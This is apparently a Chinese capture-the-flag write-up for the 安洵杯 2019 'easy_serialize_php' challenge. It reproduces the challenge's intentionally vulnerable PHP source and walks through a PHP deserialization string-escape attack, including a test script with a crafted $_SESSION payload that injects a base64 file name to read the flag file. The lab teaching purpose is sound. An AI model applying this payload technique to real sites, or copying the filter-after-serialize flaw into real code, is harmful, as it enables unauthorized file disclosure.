[安洵杯 2019]easy_serialize_php
这是一道反序列化字符串逃逸题目 一道学习题目
打开题目 看到源码
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 
 | <?php
 
 $function = @$_GET['f'];
 
 
 function filter($img){
 $filter_arr = array('php','flag','php5','php4','fl1g');
 $filter = '/'.implode('|',$filter_arr).'/i';
 return preg_replace($filter,'',$img);
 }
 
 
 
 if($_SESSION){
 unset($_SESSION);
 }
 
 
 $_SESSION["user"] = 'guest';
 $_SESSION['function'] = $function;
 
 
 extract($_POST);
 
 
 if(!$function){
 echo '<a href="index.php?f=highlight_file">source_code</a>';
 }
 
 
 if(!$_GET['img_path']){
 $_SESSION['img'] = base64_encode('guest_img.png');
 }else{
 $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
 }
 
 
 $serialize_info = filter(serialize($_SESSION));
 
 
 if($function == 'highlight_file'){
 highlight_file('index.php');
 }else if($function == 'phpinfo'){
 eval('phpinfo();');
 }else if($function == 'show_image'){
 $userinfo = unserialize($serialize_info);
 echo file_get_contents(base64_decode($userinfo['img']));
 }
 ?>
 
 | 

看到url 是f=highli_file 看到源码就明白了
| 12
 3
 4
 5
 6
 7
 8
 
 | if($function == 'highlight_file'){highlight_file('index.php');
 }else if($function == 'phpinfo'){
 eval('phpinfo();');
 }else if($function == 'show_image'){
 $userinfo = unserialize($serialize_info);
 echo file_get_contents(base64_decode($userinfo['img']));
 }
 
 | 
这里可以说是主程序了 题目当f=phpinfo()输出phpinfo()我们会找到一些东西
 果然发现了可疑php文件
果然发现了可疑php文件 
主程序有file_get_contents() 这里应该就是去包含我们发现的d0g3_f1ag.php文件
还有一个我不知道的特殊点:$_SESSION数组 这是一个数组

这道题$_SESSION共有三个变量分别为 user function img 其实img用来去包含那个php文件
但是这里
| 12
 3
 4
 5
 
 | if(!$_GET['img_path']){$_SESSION['img'] = base64_encode('guest_img.png');
 }else{
 $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
 }
 
 | 
$_SESSION[‘img’]先通过base64加密 然后再进行sha1()函数 尽管主函数最后包含文件之前会有base64解密 但是sha1()函数明显就是不让我们直接将flag文件赋值给$_SESSION[‘img’]

那么应该怎么让$_SESSION[‘img’]等于我们的php文件呢 这里思路大概就是类似于类反序列化 
本地序列化构造包含了php文件的$_SESSION[‘img’] 然后再反序列去覆盖那个题目中的$_SESSION[‘img’]
再来看过滤这部分 用空字符去正则代换我们的文件名后缀名
| 12
 3
 4
 5
 
 | function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g');
 $filter = '/'.implode('|',$filter_arr).'/i';
 return preg_replace($filter,'',$img);
 }
 
 | 
这里就用到了字符串反序列化沙箱逃逸 参考https://www.jianshu.com/p/8e8117f9fd0e
通过一个小demo简单看一下原理
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | <?php
 $a = array('123', 'abc', 'defg');
 $b=serialize($a);
 var_dump(unserialize($b));
 
 $c='a:3:{i:0;s:3:"123";i:1;s:3:"abc";i:2;s:4:"love";}i:2;s:4:"defg";}';
 var_dump(unserialize($c));
 ?>
 
 | 

本地测试
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 
 | <?php$a ='/flag/';
 $_SESSION["user"]='flagflagflagflagflagflag';
 $_SESSION["function"]='a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"dd";s:1:"a";}';
 $_SESSION["img"]='L2QwZzNfZmxsbGxsbGFn';
 $b=serialize($_SESSION);
 echo $b;
 echo "\n";
 $c=preg_replace($a,'',$b);
 var_dump($c);
 print_r(unserialize($c));
 ?>
 
 | 

就是通过特意构造序列化 让$_SESSION[“function”]中的内容仿照反序列化后的$_SESSION[img]数组内容 从而达到覆盖
当$_SESSION[‘user’]中的24个字符被空字符代替之后 之后反序列化就会继续向后面寻找24个字符找到符合条件的内容进行反序列化读取";s:8:"function";s:59:"a这24个字符 并且之后还有";符合停止的条件 而后继续向后读取img的20个字符,第四个、第五个s向后读取均满足规则。
这里需要注意的点:

这里'a"左边的单引号是去闭合者一整段字符串右边的单引号
右边的双引号是为了去闭合序列化后的"a"

为什么是4个flag 即24个字符 要根据后面构造的内容去灵活变动
然后是}构造的字符串中有一个}这个很重要 一开始本地测试的一直报错 发现是把这个}给删了 这个}是用来之后反序列化时候匹配停止匹配的一个符号吧(我是这样认为的)如果不加就会导致沙箱逃逸失败
然后因为在文件包含之前会有base64解码 需要把我们发现的php文件进行base64加密之后 弄进我们构造的字符串中 
之后题目就迎刃而解了。